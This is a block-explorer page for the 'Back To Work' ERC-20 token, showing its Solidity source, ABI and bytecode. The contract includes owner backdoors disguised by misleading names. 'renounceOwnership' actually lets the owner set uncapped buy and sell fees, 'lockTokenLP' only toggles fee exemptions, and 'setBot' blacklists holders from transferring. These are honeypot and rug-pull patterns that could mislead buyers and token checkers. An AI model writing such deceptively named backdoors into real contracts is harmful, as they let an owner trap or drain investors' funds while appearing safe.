ERC-20
Overview
Max Total Supply
1,000,000 Back To Work
Holders
55
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,863.903756941 Back To WorkValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BackToWork
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-20 */ /** // SPDX-License-Identifier: MIT ╭━━╮╭━━━┳━━━┳╮╭━╮ ┃╭╮┃┃╭━╮┃╭━╮┃┃┃╭╯ ┃╰╯╰┫┃╱┃┃┃╱╰┫╰╯╯ ┃╭━╮┃╰━╯┃┃╱╭┫╭╮┃ ┃╰━╯┃╭━╮┃╰━╯┃┃┃╰╮ ╰━━━┻╯╱╰┻━━━┻╯╰━╯ * Website: https://backtowork.wtf/ * Twitter: https://twitter.com/backtoworkwtf * Instagram: https://www.instagram.com/bbrc_official/ * OpenSea: https://opensea.io/collection/back-to-work * Telegram: https://t.me/+2J0MVrEBUxMwY2Vi */ pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BackToWork is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BACK"; string private constant _symbol = "Back To Work"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burningFeeOnBuy = 0; uint256 private _developFee = 1; uint256 private _burningFeeOnSell = 0; uint256 private _feeOnMarketing = 1; uint256 private _burningFee = _burningFeeOnSell; uint256 private _devTeamFee = _feeOnMarketing; uint256 private _previousburningFee = _burningFee; uint256 private _previoustaxFee = _devTeamFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xb9574a9fbC0EeAb11b20B8eAb7F18eb031c946c6); address payable private _marketingAddress = payable(0xb9574a9fbC0EeAb11b20B8eAb7F18eb031c946c6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; uint256 public _maxWalletSize = 1000000 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_burningFee == 0 && _devTeamFee == 0) return; _previousburningFee = _burningFee; _previoustaxFee = _devTeamFee; _burningFee = 0; _devTeamFee = 0; } function restoreAllFee() private { _burningFee = _previousburningFee; _devTeamFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _burningFee = _burningFeeOnBuy; _devTeamFee = _developFee; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _burningFee = _burningFeeOnSell; _devTeamFee = _feeOnMarketing; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function startLaunch() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBot(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delTx(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burningFee, _devTeamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 burningFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(burningFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function renounceOwnership(uint256 burningFeeOnBuy, uint256 burningFeeOnSell, uint256 developFee, uint256 feeOnMarketing) public onlyOwner { _burningFeeOnBuy = burningFeeOnBuy; _burningFeeOnSell = burningFeeOnSell; _developFee = developFee; _feeOnMarketing = feeOnMarketing; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function enableSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function lockTokenLP(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"lockTokenLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burningFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"burningFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"developFee","type":"uint256"},{"internalType":"uint256","name":"feeOnMarketing","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001966038d7ea4c6800060001962000169565b62000027906000196200018c565b6006556000600881905560016009819055600a829055600b819055600c829055600d819055600e91909155600f556012805473b9574a9fbc0eeab11b20b8eab7f18eb031c946c66001600160a01b031991821681179092556013805490911690911790556015805462ffffff60a01b19166201000160a01b179055655af3107a400060165566038d7ea4c6800060175564e8d4a51000601855348015620000cd57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832094909455925166038d7ea4c680008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620001b4565b6000826200018757634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620001ae57634e487b7160e01b600052601160045260246000fd5b92915050565b611e3f80620001c46000396000f3fe6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bfd792841161008a578063d2a09c7111610064578063d2a09c7114610501578063dd62ed3e14610521578063e21de9e314610567578063ea1644d51461058757600080fd5b8063bfd792841461049c578063c1186b8f146104cc578063c3c8cd80146104ec57600080fd5b80638f9a55c0116100c65780638f9a55c01461041157806395d89b411461042757806398a5c3151461045c578063a9059cbb1461047c57600080fd5b80637d1db4a5146103b05780637f2feddc146103c65780638da5cb5b146103f357600080fd5b8063313ce5671161015957806359a945e91161013357806359a945e9146103465780636fc3eaec1461035b57806370a082311461037057806374010ece1461039057600080fd5b8063313ce567146102ea57806340eed21d1461030657806349bd5a5e1461032657600080fd5b80631694505e116101955780631694505e1461025857806318160ddd1461029057806323b872dd146102b45780632fd689e3146102d457600080fd5b806306fdde03146101c7578063095ea7b3146102065780630eca11801461023657600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260048152634241434b60e01b60208201525b6040516101fd919061196f565b60405180910390f35b34801561021257600080fd5b506102266102213660046119e2565b6105a7565b60405190151581526020016101fd565b34801561024257600080fd5b50610256610251366004611a24565b6105be565b005b34801561026457600080fd5b50601454610278906001600160a01b031681565b6040516001600160a01b0390911681526020016101fd565b34801561029c57600080fd5b5066038d7ea4c680005b6040519081526020016101fd565b3480156102c057600080fd5b506102266102cf366004611ae9565b61065d565b3480156102e057600080fd5b506102a660185481565b3480156102f657600080fd5b50604051600981526020016101fd565b34801561031257600080fd5b50610256610321366004611b2a565b6106c6565b34801561033257600080fd5b50601554610278906001600160a01b031681565b34801561035257600080fd5b50610256610704565b34801561036757600080fd5b5061025661090c565b34801561037c57600080fd5b506102a661038b366004611b5c565b610957565b34801561039c57600080fd5b506102566103ab366004611b79565b610979565b3480156103bc57600080fd5b506102a660165481565b3480156103d257600080fd5b506102a66103e1366004611b5c565b60116020526000908152604090205481565b3480156103ff57600080fd5b506000546001600160a01b0316610278565b34801561041d57600080fd5b506102a660175481565b34801561043357600080fd5b5060408051808201909152600c81526b4261636b20546f20576f726b60a01b60208201526101f0565b34801561046857600080fd5b50610256610477366004611b79565b6109a8565b34801561048857600080fd5b506102266104973660046119e2565b6109d7565b3480156104a857600080fd5b506102266104b7366004611b5c565b60106020526000908152604090205460ff1681565b3480156104d857600080fd5b506102566104e7366004611ba2565b6109e4565b3480156104f857600080fd5b50610256610a85565b34801561050d57600080fd5b5061025661051c366004611c26565b610ad9565b34801561052d57600080fd5b506102a661053c366004611c41565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057357600080fd5b50610256610582366004611b5c565b610b21565b34801561059357600080fd5b506102566105a2366004611b79565b610b6c565b60006105b4338484610b9b565b5060015b92915050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526004016105e890611c7a565b60405180910390fd5b60005b81518110156106595760016010600084848151811061061557610615611caf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065181611cdb565b9150506105f4565b5050565b600061066a848484610cbf565b6106bc84336106b785604051806060016040528060288152602001611de2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611246565b610b9b565b5060019392505050565b6000546001600160a01b031633146106f05760405162461bcd60e51b81526004016105e890611c7a565b600893909355600a91909155600955600b55565b6000546001600160a01b0316331461072e5760405162461bcd60e51b81526004016105e890611c7a565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611cf4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610804573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108289190611cf4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610875573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108999190611cf4565b601580546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff199081166001908117909255308452828420805482168317905560125485168452828420805482168317905560135490941683529120805490921617905550565b6012546001600160a01b0316336001600160a01b0316148061094157506013546001600160a01b0316336001600160a01b0316145b61094a57600080fd5b4761095481611280565b50565b6001600160a01b0381166000908152600260205260408120546105b8906112ba565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016105e890611c7a565b601655565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105e890611c7a565b601855565b60006105b4338484610cbf565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b81526004016105e890611c7a565b60005b82811015610a7f578160056000868685818110610a3057610a30611caf565b9050602002016020810190610a459190611b5c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7781611cdb565b915050610a11565b50505050565b6012546001600160a01b0316336001600160a01b03161480610aba57506013546001600160a01b0316336001600160a01b0316145b610ac357600080fd5b6000610ace30610957565b90506109548161133e565b6000546001600160a01b03163314610b035760405162461bcd60e51b81526004016105e890611c7a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610b4b5760405162461bcd60e51b81526004016105e890611c7a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016105e890611c7a565b601755565b6001600160a01b038316610bfd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610c5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038216610d855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b60008111610de75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e8565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2957506001600160a01b03821660009081526010602052604090205460ff16155b610e3257600080fd5b6000546001600160a01b03848116911614801590610e5e57506000546001600160a01b03838116911614155b1561113f57601554600160a01b900460ff16610ef7576000546001600160a01b03848116911614610ef75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e8565b601654811115610f495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e8565b6001600160a01b03831660009081526010602052604090205460ff16158015610f8b57506001600160a01b03821660009081526010602052604090205460ff16155b610fe35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e8565b6015546001600160a01b03838116911614611068576017548161100584610957565b61100f9190611d11565b106110685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e8565b600061107330610957565b60185460165491925082101590821061108c5760165491505b8080156110a35750601554600160a81b900460ff16155b80156110bd57506015546001600160a01b03868116911614155b80156110d25750601554600160b01b900460ff165b80156110f757506001600160a01b03851660009081526005602052604090205460ff16155b801561111c57506001600160a01b03841660009081526005602052604090205460ff16155b1561113c5761112a8261133e565b47801561113a5761113a47611280565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061118157506001600160a01b03831660009081526005602052604090205460ff165b806111b357506015546001600160a01b038581169116148015906111b357506015546001600160a01b03848116911614155b156111c05750600061123a565b6015546001600160a01b0385811691161480156111eb57506014546001600160a01b03848116911614155b156111fd57600854600c55600954600d555b6015546001600160a01b03848116911614801561122857506014546001600160a01b03858116911614155b1561123a57600a54600c55600b54600d555b610a7f848484846114b8565b6000818484111561126a5760405162461bcd60e51b81526004016105e8919061196f565b5060006112778486611d24565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610659573d6000803e3d6000fd5b60006006548211156113215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e8565b600061132b6114e6565b90506113378382611509565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138657611386611caf565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114039190611cf4565b8160018151811061141657611416611caf565b6001600160a01b03928316602091820292909201015260145461143c9130911684610b9b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611475908590600090869030904290600401611d37565b600060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c5576114c561154b565b6114d0848484611579565b80610a7f57610a7f600e54600c55600f54600d55565b60008060006114f3611670565b90925090506115028282611509565b9250505090565b600061133783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ae565b600c5415801561155b5750600d54155b1561156257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158b876116dc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bd9087611739565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ec908661177b565b6001600160a01b03891660009081526002602052604090205561160e816117da565b6116188483611824565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165d91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061168a8282611509565b8210156116a55750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116cf5760405162461bcd60e51b81526004016105e8919061196f565b5060006112778486611da8565b60008060008060008060008060006116f98a600c54600d54611848565b92509250925060006117096114e6565b9050600080600061171c8e87878761189d565b919e509c509a509598509396509194505050505091939550919395565b600061133783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611246565b6000806117888385611d11565b9050838110156113375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e8565b60006117e46114e6565b905060006117f283836118ed565b3060009081526002602052604090205490915061180f908261177b565b30600090815260026020526040902055505050565b6006546118319083611739565b600655600754611841908261177b565b6007555050565b6000808080611862606461185c89896118ed565b90611509565b90506000611875606461185c8a896118ed565b9050600061188d826118878b86611739565b90611739565b9992985090965090945050505050565b60008080806118ac88866118ed565b905060006118ba88876118ed565b905060006118c888886118ed565b905060006118da826118878686611739565b939b939a50919850919650505050505050565b6000826000036118ff575060006105b8565b600061190b8385611dca565b9050826119188583611da8565b146113375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e8565b600060208083528351808285015260005b8181101561199c5785810183015185820160400152820161198056